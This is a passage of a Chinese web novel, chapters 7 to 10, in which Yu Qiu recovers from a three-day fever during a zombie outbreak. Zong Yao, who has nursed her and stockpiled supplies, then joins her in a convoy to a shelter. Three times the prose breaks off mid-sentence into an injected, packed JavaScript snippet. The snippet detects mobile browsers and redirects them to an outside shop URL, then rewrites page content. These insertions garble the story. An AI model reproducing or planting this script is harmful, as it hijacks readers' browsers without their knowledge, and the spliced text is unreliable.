拉着她快走几步,把她按在沙发上坐下,他又去抬她的腿,毫不客气地把她两只脚都塞进了被子。 被子里热热的,还残留着他的体温,更突出了她脚的冰凉。 麻木的脚背渐渐爬上了痒意,余秋后知后觉地感觉到了冷,被热气一激,忍不住打了个喷嚏。 宗爻把蜡烛固定在茶几上,转过身责怪:“你知不知道现在多少度,居然还光着脚在地上跑!” 说着又探手过来摸她额头,余秋躲了一下没躲开,下一瞬就感觉到冰凉的脑门贴上他温热的手背,她在心里叹了口气,之前还说他有边界感,结果那边界感只存在了一天。 宗爻没想到她的脸也这么冰凉,一边说着她穿得少,一边从沙发靠背上拉来一件衣服搭在她背上。 这一套表情动作语言,娴熟地好像她是他养大的一样。 余秋盘腿坐着,放任他折腾。 于是她就眼睁睁看着宗爻拿衣服被子裹好了她,又点了根蜡烛,趿着拖鞋去了唯一的卧室。 卧室传来柜门和抽屉打开的声音,几分钟后他回来,递给她一双袜子叫她自己穿,又把她的拖鞋摆在沙发下。 他忙得不可开交,又有条不紊。 先是去厨房端了杯温水回来,又转身大步走了回去。 余秋双手捧着水杯小口喝水,冲去嘴里的苦味。 温水滋润后的肠胃不甘地发出咕咕声,提示主人该进食了。 她放下杯子,目光落在不远处的厨房里,蜡烛的光把宗爻忙碌的身影投射在玻璃门上。 余秋侧头静静看着,觉得他高大的身影似乎都矮了一截。 这也太接地气了,不像个年轻男人。 难道他其实和她不是同岁?但明明两人是同一年毕业的。 噢,差点忘了。 这个人是不是寒江,还得打个问号呢。 但如果不是她的网友寒江,他又会是谁呢? 沉浸在思绪中的余秋低垂着眼,睫毛颤动,直到一道阴影挡住落在她脸上的光,打断了她的思考。 阴影弯下腰,一股微酸的番茄味儿钻进她鼻腔,她面前出现了一碗番茄鸡蛋面。 是泡面。 余秋伸手去接。 ——没接住。 宗爻托着泡面盒避开她的手,说:“烫,我喂你。” “不要。” “好吧,那我放茶几上,你坐过来吃。” 茶几低矮,坐在沙发上是不方便的。 好在地上铺的有地垫,宗爻拿一个靠枕放上去,充当凳子。 余秋在被子里蛄蛹了几下,两只脚终于找到出口,刚要下地,被眼疾手快的宗爻拉住。 他滚烫的手握着她暖不热的脚腕,目露谴责。 余秋:...... 好吧,她忘了穿袜子。 泡面的香味勾的余秋口水疯狂分泌,什么也顾不上了,她眼睛直勾勾盯着泡面,任由宗爻往她脚上套袜子。 余秋二十多年的人生里,从来没这么饿过。 真奇怪,她不过是睡了一觉,怎么感觉身体好像变得非常陌生了? 她不顾形象地嗦着泡面,宗爻坐在她旁边看着,问她:“够不够吃?还有鸡肉肠,我不知道你吃不吃,就没放。” 也不知道他从余秋嗦面间隙的‘唔唔’声里得出了什么答案,走开片刻,再回来手里多了一根鸡肉肠,还有一颗卤蛋。 这两样食物一起加进碗里,还没被泡面的汤泡热,就已经进了肚。 “嗝。”余秋喝完最后一口汤,放下碗打了个饱嗝。 宗爻坐在她身侧,脸上没什么表情,但眼神很温和:“饱了吗,还吃不吃?” 余秋摇头,她饭量一直不大,平时一盒泡面就够了,今天还加了肠和卤蛋,甚至连汤都喝完了,如今肚子里饱饱胀胀的,非常满足。 宗爻自觉站起来收拾垃圾,“那你回被子里去,我再给你倒杯水。” 余秋没动,坐在原地用温水漱口,宗爻及时端过垃圾桶放在她面前,等她漱完口又动作娴熟地端走。 等他走开了,余秋才后知后觉地感到一丝怪异,之前病中脑袋昏沉她没来得及多想,如今清醒了才发现,他伺候人怎么伺候的这么熟练? 大学专业究竟是金融还是太监? 宗爻不知道余秋脑中的吐槽,他收拾完垃圾回来,见余秋重又盘腿窝进了沙发,正低着头掖被子,昏暗的烛光下显得安静又乖巧,他走过去,也盘腿坐在了她对面。 余秋抬头,此时才有空打量他。 发现他竟穿了一套深蓝色的珊瑚绒睡衣,上衣下裤,比她身上穿的睡衣厚很多,看起来就很暖和。 又摸了摸搭在她身上的衣服,是一件男式的黑色冲锋衣式羽绒服,这些都是她家里原本没有的东西,哪来的? 她问了出来,宗爻答:“去外面找的。” 余秋这才知道,原来她睡了足足三天,如今已经是第四天晚上了。 三天前的晚上她昏睡过去,宗爻因为担心,一夜不曾合眼地守着她。 可是第二天她没有醒,一直等到临近中午,宗爻替她量了体温,发现烧还没退。 他又给她喂了一颗药。 尝试了好几次,报警电话和120还是打不通,他刷了刷本地论坛,看到网上全都是求助信息,却没有官方人员回应,便猜测章城政府可能损失惨重,已经无暇他顾了。 直到天快黑了,守在床边的宗爻听到一声“咕噜噜”的肚子叫,他愣了一下,反应过来声音不是来自于自身,而是睡梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343027|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的余秋。 她饿了! 宗爻这才松了一口气,还会饿就好。 他煮了稀稀的米汤喂余秋喝,见她虽然不醒,却还会吞咽食物,终于稍微放下心来。 第二天一早,确定余秋还是醒不过来,宗爻知道不能再徒劳地等待。 他找出钥匙,将余秋卧室的门锁好,又收拾一番,带上武器,锁上大门出去了。 两天过去,外面游荡的丧尸更多了。 他将16层检查一遍,除了几间房门紧闭的,其余房间里的丧尸都被他杀死,随后又清理了游荡到楼梯间的丧尸。 前天清理过一遍的小区公共区域,如今又出现了十几只丧尸,这一次他没有再一一清理,只杀死了两只挡在大门处的。 路上的情况依旧还好,毕竟事发当天路上几乎没有行人,如今丧尸大部分还聚集在住宅区,被躲在家里的活人吸引着。 他的车还停在小区外面。 宗爻开车赶往最近的医院,路上被汽车声音吸引的丧尸还没追上几步,便被远远甩开。 可惜的是,医院的情况远比其它地方严重。 不够封闭的空间太容易被突破,门诊楼大门洞开着,远远地就能看到一楼大厅里晃动的丧尸身影,不知道值班的医生护士有没有及时逃离。 人员最多的住院部更是完全被丧尸占据,许多只丧尸逐步向外扩散,辐射了大半个院区。 医院完全沦陷了,宗爻进不去,只能撬开了医院对面一间药房的门,拿了一些或许用得上的药物。 余秋一个人在家里昏睡不醒,毫无自保能力,宗爻不敢在外面逗留太久,装满一背包药物便匆匆忙忙地赶回来。 因为余秋一直不醒,为长远计,两天内,宗爻总共外出了好几趟,一趟趟地运回来各种生存物资,药品食物衣服等等,几乎填满了半个屋子。 怪不得感觉客厅好像小了许多。 烛光范围有限,余秋扫视着客厅角落多出来的那些阴影,目光落在餐桌附近。 餐桌上面也堆满了食物。 余秋道:“谢谢你这些天的照顾,辛苦了。” “这些都不辛苦,我只是怕你......还好你醒过来了。”宗爻情真意切地说。 余秋冲他露出一抹感动的笑容,过了一会儿才继续问他:“那是什么时候停的电?” “昨天,夜里11点多,东北方向忽然传来爆炸声,然后就停电了。咱们这个方向看不到,天亮后我从楼道尽头的窗户看到,爆炸点距离我们大概两公里,火已经灭了,还在冒着黑烟。今天入夜后我观察了一下,整个城区都停电了,应该是爆炸损毁了重要线路。” “这种情况应该也不会有人来修,天然气管道没事吧?” “没事,天然气还可以用,水也没停,除了没有电,其它的都还好。只是网络好像出问题了,信号时有时无,可能不知道什么时候就会彻底断开。” 余秋想到什么,问:“我的手机在你这里吗?” “在。”宗爻解释:“你昏睡的时候你父亲打了电话过来,我刚准备替你接听,手机就没电自动关机了,我充上电后想打回去,但是没有密码解不开锁,所以就放在客厅充电,如果他再打来我也能及时发现。” “可惜后来他没有再打过来,你要给他回电话吗?” 宗爻从沙发那头找出余秋的手机,递给她。 余秋不习惯用指纹,所以给手机设置的手势解锁,她在屏幕上划动几下解开手机,通话记录里近几天只有那一个号码的一次来电。 时间是......两天前的凌晨。 一个早已把她删除的人,为什么会在凌晨打来电话? 余秋心中生起不妙的猜测,房间里明明没有风,她却感到一丝凉意钻进胸口。 手指抬起,犹豫几秒后按下拨通键。 突兀的电子女声响起:“对不起,您拨打的电话已关机......” 余秋猛地关上手机。 8. 第 8 章 余秋的烧退了,人也彻底清醒。 待宗爻烧水供她洗了个热水澡后,浑身仿佛有什么沉重的东西脱离了,整个人变得异常轻盈。 她用毛巾裹着湿发,出来后走到阳台上,隔着玻璃往外看。 天上的月亮被厚重的云层遮住,窗外只有呼啸的寒风。 中秋节才过去没多久,往年这个时节气温还在20度上下,白天出门是可以穿短袖的。 可是现在,她洗完澡穿着自己最厚的一套睡衣,还是感觉冷。 天气反常,但是和丧尸病毒一对比,骤降的气温又不那么令人在意了。 宗爻知道她心情不好,本来没想打扰她。 可眼见她露出毛巾外的发尾还在滴水,他只得提醒:“阳台太冷了,你病才好,先回来擦干头发吧。” 余秋回身,目光落在他被烛光映得泛着暖意的脸上。 她缓步走过来,坐回沙发上。 沙发不大,两个人挨得很近。 她说:“沙发太小,你睡在上面很不舒服吧。” 宗爻抽了张纸巾接住从她发尾滴下来的水珠,口中道:“还好。” “官方救援还没来?” “嗯。” 余秋想起那天昏睡前他的分析,问:“你觉得救援多久能到章城?” 心知她刚才肯定没注意,宗爻指了指手机:“官方每天都有发送短信通知救援进度,救援部队预计明天能够到达台城,顺利的话,应该在大后天来到章城。” 台城是他的家乡......余秋问:“你后悔吗?” “什么?” “每多等一天就要面临多一分的危险,如果你没来章城找我的话,说不定明天就彻底安全了。” 宗爻摇头:“不后悔,如果没来,我才真的会后悔。” “为什么?” “因为你对我很重要。”宗爻如此说道。 余秋看着他的眼睛,无论多么温柔和包容,她都没有在里面看到过一丝爱意。 他并不爱她。 那她重要在哪里呢? 空气静默,半晌,余秋勾了勾唇角:“我的荣幸。” 宗爻略过这个话题,说起别的:“我这两天出去,遇到了小区里的人。” 余秋配合地问:“他们出去找食物吗?” “嗯,很多人家里没有存粮......” 政府的救援还没到,饿的没办法的一些人就通过小区群聊,组成了一个外出寻找食物的队伍。 他们的目标是附近的乐嘉超市,宗爻出门的时候碰到他们,还跟他们一起去过两趟。 一行人去的时候超市门已经被人打开了,附近许多人都去里面搬东西,偌大的超市短短几天已经空了一半。 余秋听他讲述着外出的过程,手指点开微信,找到小区的群聊,翻动着聊天记录,果然看到许多相关的讨论。 想起他之前说清理了16层的丧尸,她问:“我们这一层有人去吗?” “有,对门两个孩子的妈妈,还有走廊另一边的一对年轻情侣,都参与了集体外出,1605好像也有人活着,但是没有打开过门,你知道是什么人吗?” “是个游戏宅。”余秋说:“他平时就不怎么出门,家里食物应该比较充足。” 说着,余秋不由皱眉。 公寓楼一层二十户,16层包括她在内,居然只剩下四户了么? 她问宗爻:“这一层清理出了多少个......只丧尸?” “被我杀死的有14只,全都搬去了尽头的1620。有几个房间门锁着,能听到里面有丧尸在移动,但它们出不来,我就暂时没管。” 这个数量......余秋不敢去算整个世界还有多少人幸存。 一股绝望的情绪侵蚀着她的内心,如果全世界一大半的人都变成了怪物,幸存的人类又能挣扎多久呢? 看出她情绪不对,宗爻转移话题:“官方的信息除了实时更新救援进度,还有关于避难所的,你可以看看。” 余秋点开短信,确实有好几条未读信息。 她依次看过去,果真看到了建立临时避难所的消息。 密密麻麻的地区名,几乎每个城市都有,而章城的临时避难所建在最南边。 章城这几年都在向南发展,南边地势平坦,随着各类行政部门的迁徙,章南新区发展迅速,短短两年内盖起了许多新小区,但大部分还未交房,入住率很低。 人员稀疏,建筑簇新,正好适合建立避难所,既能容纳大量幸存者,又方便隔离危险。 余秋说:“我没记错的话,章城的武警部队也搬去了南边,他们或许也参与了避难所的建设。” “嗯。”宗爻说:“救援部队不可能带着救下的人长途跋涉,肯定也是要把人就近送去避难所的。” 余秋估算了一下距离,犹豫道:“其实避难所离这里不算远。” 宗爻看向她:“是啊,所以小区里有人提出过要自行前去。” 这几天以来,丧尸的动作变得越来越灵敏了,攻击力也愈加强悍。 照这样发展下去,说不定再过一阵子,普通的门就挡不住它们了。 到那时,如果被困在建筑里的丧尸大量涌出,肯定会造成难以想象的后果。 其他人或许对此还没什么感觉,但对那些去超市找过物资的人来说,真正与丧尸打过照面的他们,很容易就能发现丧尸的变化。 他们不清楚救援部队多久能到达章城,又要多久才能推进到这片区域,所以一部分胆大的人,更倾向于趁着路上的丧尸还不多,先行赶往避难所,接受来自官方的保护。 余秋一条条往上翻看着小区群里的消息。 确实有人提出自行赶往章南避难所,不过响应者寥寥。 大部分人都没有出去直面丧尸的勇气,对他们来说反正有国家和军队在,自己只要老老实实在家里等着,就会有帅气的兵哥哥从天而降拯救他们,何必要那么麻烦? 余秋抬眸,问宗爻:“你呢,你是什么想法?” 宗爻身材颀长,缩手缩脚的坐在低矮的柔软沙发上其实很不舒服。 在余秋看手机的时候,他趁机舒展了一下双腿,上身也微微后倾,斜靠在沙发后背上。 舒展的姿势令他的气质也为之一变,眸光斜斜看过来时,溢出一丝刻意收敛的气势。 他说:“我听你的,你想走,我就带你走。你想留,我们就留在这里。” 虽然他的表情还是那样的平和温润,但余秋就是莫名觉得他很危险。 或许......是因为他话里流露出的自信?这句话的意思仿佛在说,无论你想去哪里,我都能够护你周全。 余秋垂下眼睑,她现在只觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343028|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得人多的地方或许对她来说更安全。 她摩挲着手机壳背面的纹理,“那就和他们一起去避难所吧,我先发消息问一下。” 不过对于别人肯不肯带上自己,她心里也没底。 “不用。”宗爻说:“这些琐事我来处理,你先把头发擦干。” 他丢掉手里湿透的纸巾,余秋才知道他刚才一直拿纸巾接在她发尾下方,防止水珠落在被子上。 可他宁可这么麻烦,也没有提醒她把头发包好一点。 这是一个她看不懂的人,余秋莫名心悸。 她用他去洗手间拿来的干毛巾擦拭着头发,而他就坐在她旁边玩起了手机。 余秋一时没忍住,余光瞟了几眼,看到他在给什么人发消息。 那人的头像有些眼熟,过了一会儿她才想起,那不是公寓聘请的管家吗?他们什么时候加上微信了? 寥寥几句对话过后,宗爻放下手机,“说好了,明天早上和他们一起出发,等会儿会有人拉你进新建的小群。” 这、这就好了? 社恐人余秋有点懵了,原来社交可以这么高效的么? 那些人也不问问他们的情况,三言两语就决定带上两个没怎么接触过的人了? 果然,等她把头发擦了个半干,手机就响起一声提示音,她被拉进了群聊。 群里加上她一共十四个人,群聊发起人就是刚才和宗爻联络的那位管家。 那是一个三十来岁的男人,能力出众性格圆滑,是一众管家里面最讨人喜欢的一个,平时小区里有什么事,大家都更愿意找他交流。 以这位管家的性格,能很快和宗爻这个外来人建立起联系,倒不是很奇怪了。 这会儿已经十一点多了,群里大部分人都睡了,那位管家和余秋确认了出发时间,又发给她一串注意事项后,也去休息了。 余秋看着那详细到要带什么类型的衣服,哪些种类的食物,当天穿什么样的鞋子都一一标注的注意事项,心里感叹能人果然不管在哪里都是能人,这考虑的也太周到了。 仔细看完注意事项,她摸了摸差不多干透的头发,站起身来对宗爻说:“早上七点半出发,七点就要把东西全部搬进车里,我去收拾东西了。” 之所以强调一下时间,是因为她注意到宗爻并不在那个群里。 他让人把她拉进群,自己却没进。 谁知宗爻却好像什么都知道一般,说:“我定好了闹钟,会准时叫你的。” 他跟随她起身,从茶几上掰下来一根固定好的蜡烛,送她回到房间后又把蜡烛固定在她的梳妆台上,随后说道:“你只需要收拾好要带的衣服,其它东西我会搞定。” 说到这里他顿了一下,补充了一句:“抱歉,这几天由于要整理归纳,擅自动了房子里的东西,你会介意么?” 余秋心想,刚才你从我衣柜里拿袜子的时候,怎么没问我介不介意? 但她面上却只是微微一笑,“没关系,你做这些都是为了我,我应该谢谢你。” 宗爻背着光,似乎也笑了。 “那就好。” 他出去了。 余秋关上门,站在门后犹豫了一秒,还是把反锁键扣上了。 梳妆台上的蜡烛距离门边有三四米,暖黄的光晕之外,黑暗的阴影里,一抹绿色一闪而过,又很快消失于嫩白的掌心。 9. 第 9 章 清晨的空气里飘着淡淡的奶香味儿。 余秋早早起床,就着宗爻兑的温水简单洗漱后,端起茶几上还冒着热气儿的牛奶,还没来得及喝,就被宗爻叫住。 “等一下。”宗爻拿着瓶面霜走过来。 “天冷,不涂点东西,脸该皴了。”他把面霜塞进她手里,又忙忙碌碌地继续收拾东西。 余秋:......这年头逃难还这么讲究吗? 老老实实涂了脸,余秋端起热牛奶小口啜饮。 不知道是不是连睡三天把觉一次性睡足了,余秋昨晚直到很晚才睡着。 她收拾好要带的衣服,打包成一个不大不小的中号背包,随后便躺回了床上。 夜里安静,哪怕外面的人极尽小心,还是时不时会发出一点声响,余秋知道宗爻昨晚收拾到了很晚。 所以她起床时,客厅里才会显得这么井井有条。 沙发上的被子已经叠好装进透明袋子里,看起来像是从商场找来的新被子,才没盖几天。 堆在厨房外小饭厅那里的食物也全部打包好了,被宗爻提到了门后。 门后的地上,箱是箱,包是包,整整齐齐摞在那里。 不过喝个牛奶的功夫,好好的一个家就变得空荡荡的。 见宗爻连洗手间已经用掉半包的洗脸巾都不放过,余秋觉得这个人说不定适合当收纳师,或者专门替人搬家也是极好的。 她喝完一杯牛奶,抽了张纸巾擦嘴,然后眼睁睁看着宗爻把剩下的半包纸巾塞进一个背包里,桌面上空无一物。 真专业啊。 她正感叹着,手里就被宗爻塞了个更大的双肩包。 他让她把她自己那个中号背包里的东西转移进来,对她解释道:“你那个包太小。” “这里面已经放了即食面包、压缩饼干、能量棒、包含常用药物的急救包、和一些小零食。最底下的袋子里是一次性的内衣、袜子,哦,还有卫生巾。” “......”余秋还没来得及说话,脖子上又被挂了个1000ml的保温杯。 “打开的时候小心点,里面装的开水,背包侧袋里装了几条速溶咖啡和一些茶包,路上想喝的话就用保温杯的杯盖泡着喝。” 余秋:去秋游吗? 收拾完毕,宗爻又把整个房间巡视一遍,确定再无遗漏后,交代余秋:“我先出去把车开进地下车库,再回来搬东西。你在家里不要随便开门,我回来会给你信号。” 他用指节在鞋柜的木质桌面上敲了几下,这临时的开门暗号听起来还挺专业的。 “我也可以搬东西。”余秋说。 宗爻:“不用你搬,你的背包还能再装下一些东西,大的外套装不进去,但你可以回房间再选两件喜欢的内搭带上。” 余秋:“......行吧。” 人怎么能细致成这样? “乖。”宗爻对着她笑笑,拿上车钥匙走了。 被留下的人站在原地捏了捏拳头。 半个小时后,余秋跟着搬最后一趟行李的宗爻一块下楼。 因为停电,电梯早已不再运行。 楼梯间内的危险被宗爻排除过好几遍,只是出事后大部分时间都在睡觉的余秋,没想到原来爬16楼并不轻松。 她穿着烟灰色的短款修身羽绒服,蓝色紧身牛仔裤里面还穿了宗爻从超市找的自发热秋裤,裤腿塞进脚上的黑色皮靴里,头发也全部拢进头上的黑色毛线帽里。 她手上戴了一双黑色皮质手套,脸上还戴着一只同样黑色的口罩。 这一身是搭配是宗爻帮她选的,说是以他的经验来说,这样穿更方便活动,遇到丧尸不会因为穿得太过臃肿而跑不动。 余秋穿好后没敢照镜子,这种搭配很难穿得好看,即便她心知自己有一张足够美的脸,也不敢赌那一眼。 装备齐全的余秋背上大大的‘书包’,像个郊游的小学生一样挎着大号保温杯,气喘吁吁地跟在宗爻身后到达地下停车场。 昏暗的停车场里人已经差不多齐了,令余秋没想到的是,1608的单亲妈妈居然也在里面,是除自己之外,队伍里唯二的成年女性。 她正在把地上的行李往后备箱里放,她的两个孩子也在,大的那个在帮忙,小的那个紧紧拉着母亲的衣角,看起来很紧张。 余秋和宗爻走近的脚步声吸引了一些人的注意,那位单亲妈妈回头看了一眼,冲余秋笑了笑。 余秋下意识回以微笑,但还是不太明白,这个平时等电梯时碰到都不会和她对视的女人,怎么会突然冲她笑呢? 而且,她记得对方好像没有车吧?毕竟从来没见过她下到车库,倒是在地铁站口遇见过几次。 余秋没有要八卦别人的意思,但宗爻却在这时偏了偏头,像是她肚子里的蛔虫一般在她身侧低声说:“记得我第一天杀的那两个丧尸吗?” “嗯。”余秋当然记得,可能很久都不会忘。 “她的车钥匙是从那个中年男人家里拿的。”宗爻说。 余秋惊讶侧目,听着他继续说道:“我清理完16层的丧尸后,她就把那些人的家里都搜寻了一遍,收获颇丰。” “这......现实版舔包啊。”余秋感叹。 “嗯?”宗爻微微歪了一下头,朝她看过来。 余秋看着他疑惑的眼神,忽然发觉两人离得太近了,简直像肩抵肩靠在了一起。 她不着痕迹地退开半步,低头整理额前的帽檐,小声说:“没事。” “宗先生。”那个名叫张成晔的管家朝两人走来。 他先和宗爻寒暄两句,才看向余秋,笑着打招呼:“余小姐。” “张管家。” “余小姐这些天都没露面,宗先生说你病了,现在好些了么?” “已经痊愈了,多谢关心。” “应该的,管家嘛,就是为公寓里的大家服务的。” 张成晔笑容和气,和她说完话,又转向宗爻,“宗先生是外地人,对路可能不是很熟悉,等会儿出发后我的车打头阵,麻烦您在后方照看着些?” 宗爻点头,态度不像在余秋面前那么温柔和善,只淡淡“嗯”了一声。 张成晔也不在意他的高冷,嘴里不住往外冒好听话:“前几天多亏您帮忙,我们才没被隔壁小区的人欺负了去,按理说超市人人都能去,凭什么就该被他们霸占着呢?不过现在也没处说理,还好碰到了您......” 他叽里呱啦说了一堆,余秋在旁听着,才知道对面小区里团结了几十个人,意图霸占附近的乐嘉超市。 她很是意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343029|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才出事几天啊,怎么连这种事都有了? 随后余秋意识到,因为丧尸出现后她昏迷了三天,一次也没出过门,所以思维还停留在和平时期,认为大家遇到困难应该互帮互助。 可现在不同以往了,世界上一夜之间多出几十亿丧尸,人类的生活短时间内恐怕很难回归正常了。 以前每次有关于末世的预言时,还有大批人囤盐囤物资呢,何况现在好像真的......末世来临了。 她暗暗提醒自己要转变思维,不要再以常理去看待出现在身边的每一个人。 随后才想起来张成晔刚才都说了什么。 人员到齐,准备出发了。 余秋拉开宗爻车子的后车门,发现里面已经塞满了,从座椅到车顶,连个缝隙都没有,更别提坐人了。 她悻悻地关上车门,又拉开副驾驶的车门。 还好,副驾驶是空的。 她坐进去,把取下来的背包放在脚下,好在车型够大,脚下的空间也足够。 见她坐好了,已经启动车子的宗爻提醒她:“安全带。” 余秋系好安全带,忍不住问他:“张管家说你一个人打十个,帮他们把霸占超市的那群人赶走了,真的假的?” 宗爻淡淡道:“他那是夸张说法。” 但余秋想到他在自己门前一分钟连杀两只丧尸的情景,又觉得张管家应该没有夸大事实。 他就是很能打。 不过,余秋扭头,看着他侧面流畅的下颌线和高挺的鼻梁,暗自揣测。 除了能打之外,他是否还有别的...... 余秋愈发觉得他不可能是自己的网友寒江,因为普通人绝不会有这样的能力。 想到这里,她状似闲聊地问:“对了,你什么时候买的车?” 起码在断联之前,寒江是没有车的。 她偏着的头还没回正,目光紧紧盯着宗爻的表情。 她看到他长且翘的睫毛上下眨动,大概不到半秒钟的时间,他便回答了她的话。 “两个月了。” 余秋算了算日子,刚好是他们恢复联系前不久的事。 她开了个玩笑:“不会是为了见我才提的车吧?” 她不是很会开玩笑的人,话一出口就明显感觉到话题太过生硬。 果然,宗爻扭头看了她一眼,沉默几秒后才开口:“被你猜对了。” 余秋已经尴尬地脸都烧起来了,还好她脸上的口罩还没摘,发烫的耳朵也被帽子挡住了。 她若无其事地转过头去盯着车窗外,不说话了。 脸上的热意渐消,内心的窘迫却久久未散。 她果然不擅长交流。 人怎么能说出这么不要脸的话? 宗爻一定很为难吧? 明明那时候两人还没恢复联系,人家买车和她有什么关系啊!明明没有关系,却为了照顾她的面子而勉强‘承认’她猜对了...... 他现在在想什么,不会在心里笑话她吧? “好热。”余秋试图用新话题缓解尴尬。 话音刚落,一阵风从正前方吹来,卷着枯枝败叶和轻飘的塑料袋,争先恐后地顺着地下车库的入口涌入。 余秋:“......”这看起来好像没有热的条件。 10. 第 10 章 一夜过去,早已被清理干净的小区公共区域,不知又从哪里游荡来几只丧尸。 十几辆满载的车子排着队由地下车库开出来,负责开路的第一辆车撞开被声音吸引而来的丧尸,第一个冲出黑暗,暴露在不甚明亮的天光下。 其他车辆紧随其后,车速虽不快,却莫名带着些急不可待。 车子开出车库入口,眼前由暗转亮,余秋闭了闭眼,再睁开时不由自主地看向天空。 天阴了许多日了,抬头看去,太阳不见踪影,一层厚重的延绵的云将它遮挡,仍为人间洒下这暗色的天光,仿佛已经是它尽力所为了。 余秋收回远眺的视线,目光落在了小区错落分布的绿化上。 秋风未有片刻止息,给小区里的常青树木蒙上厚厚一层灰,绿色变作土色。 树下的草黄成一片,被厚重的尘土压得看不清形状。 又一阵风吹来,带动的烟尘令空气都浑浊起来。 余秋想,近些年雾霾越来越重,却从未听过章城有这么多的沙土,它们打哪儿来? 靠近小区大门,余秋看到一二号楼的墙根儿底下摞满了死去的丧尸尸体,腐臭的味道扩散出很远,哪怕在相对封闭的车内,也能闻到那令人作呕的臭味。 门卫室的门开着,当夜值班的门卫小李不知被谁杀了,又摞在了哪一层尸堆上。 目光顺着尸堆往上,零星几个窗口后面还能看到晃动的人影,不知是被关在屋里出不来的丧尸,还是没有下定决心跟着离开的其他幸存居民。 车队开出小区,行出百米不到,驾驶位的宗爻忽然开口:“路上的丧尸变多了。” 余秋应了一声,观察左右,果然见到许多被车辆动静吸引的丧尸,从角角落落里扑出来,还没扑到近前,便被急忙加速的车辆甩在身后。 那些丧尸被甩开后又不断去扑下一辆车,却总也扑不着。 血肉就在眼前却吃不到,丧尸们发出愤怒的嚎叫声,声音已经完全不似人类。 一直追出几百米,直到双方距离彻底拉开,它们才慢慢平静下来,恢复了游荡状态。 余秋早年玩过一个风靡全国的网络游戏,这个画面令她想起了网游露天地图里的野怪,终年游荡,却永远也走不出地图边界,绕着地图跑一圈就能拉来一堆。 和如今追着人跑的丧尸何其相似。 短短几日,街景便破败了许多。 两旁商铺大门洞开,玻璃门碎裂一地,店内往常陈列整齐的货架倾翻,有用的货物都被人带走,无用的东西落了满地。 生存面前人人都是现实主义,像花店和精品店完好的玻璃门一样实实在在。 开出这片街区,汇入大路,才发现路上车流并不算少。 竟然有许多人和他们一样选择了主动赶往避难所。 有些是像光厦公寓小区一样的车队,几辆车前后照应,应该是亲朋结伴。 只有很少数是独身上路的,他们往往开得很快,远离其它车辆。 宗爻偏头看了她一眼,说:“人有些多,靠近避难所可能会堵车。” 余秋默默地想,那也没有办法,毕竟大家都要逃命嘛。 小区到章南新区的距离约二十公里,按照以前的交通规则来走,哪怕多遇几个红绿灯,也就半小时的事儿。 现在没人管什么红绿灯,路边也没有交警,许多人便开得肆无忌惮起来。 但他们不行,出发前在地下车库是被嘱咐过的。 小区的车队由十几辆车形成,如果由着每辆车司机自由发挥,很快队形就会乱,再被路上的车流冲散,到了避难所可能就聚不回来了。 避难所的情况还不知道怎么样,这时候当然是大家拧成一股绳,汇聚成一个集体,才会更安全。 等到了地方,人多也更方便争取权益。 大家都知道到了章南肯定会被安排进新小区里,别的不说,如果能被分配到同一栋楼或者同一个小区,起码能互相照拂。 所以他们十分配合,由管家张成晔开车打头阵,其他车辆按照在车库排好的顺序依次跟随其后。 哪怕上大路之后车道变宽,也没有人擅自变道加速,配合着头车的速度,虽然慢一点,但也成为了马路上一道独特的风景。 张成晔的未雨绸缪是对的,车队出发二十分钟后,在一个十字路口,遇到了一起车祸。 自东向西的一辆飞驰的轿车撞上了刚刚完成左转,还来不及提速的一辆小型货车。 小型货车的车斗里载满了东西,重量压着速度。 加上轿车后面的车刹车不及时,紧跟着撞向轿车的屁股。 处于中间的轿车被前后夹击,撞得长度都凭空短了一截,车头一半掀开,一半嵌进货车的车斗下,血液透过驾驶室变形的车门流了满地,里面的人恐怕已凶多吉少。 远处被新鲜血液的味道吸引的一只丧尸嚎叫着飞奔而来,跑动中四肢乱飞,速度却灵敏的像只化人形的猴子。 丧尸的速度果然变快了,尤其是被血腥气吸引的时候。 意外发生之时,最前头直面车祸现场的张成晔当机立断,借了对向车道‘咻’一下蹿出老远,赶紧驶离这混乱之地。 坠在后面的第二辆车反应也十分迅速,一边打着喇叭提醒后车,一边一脚油门紧跟着头车蹿了出去。 后头的人有样学样,加速的同时保持着极近的车距,不让左侧车道的人有机会加塞截断他们的队形。 余秋他们的车位处车队最后方,宗爻的车技相当不错,前车踩下油门的瞬间他也提速,车头距离前车的车屁股不到两米,快速绕过事故现场,向西而行。 注意力落在事故车辆上的余秋,忽然听到后面密集的鸣笛声,她的角度看不见后面情况,不得不直起上身,透过宗爻那一侧的车玻璃向左后方看去。 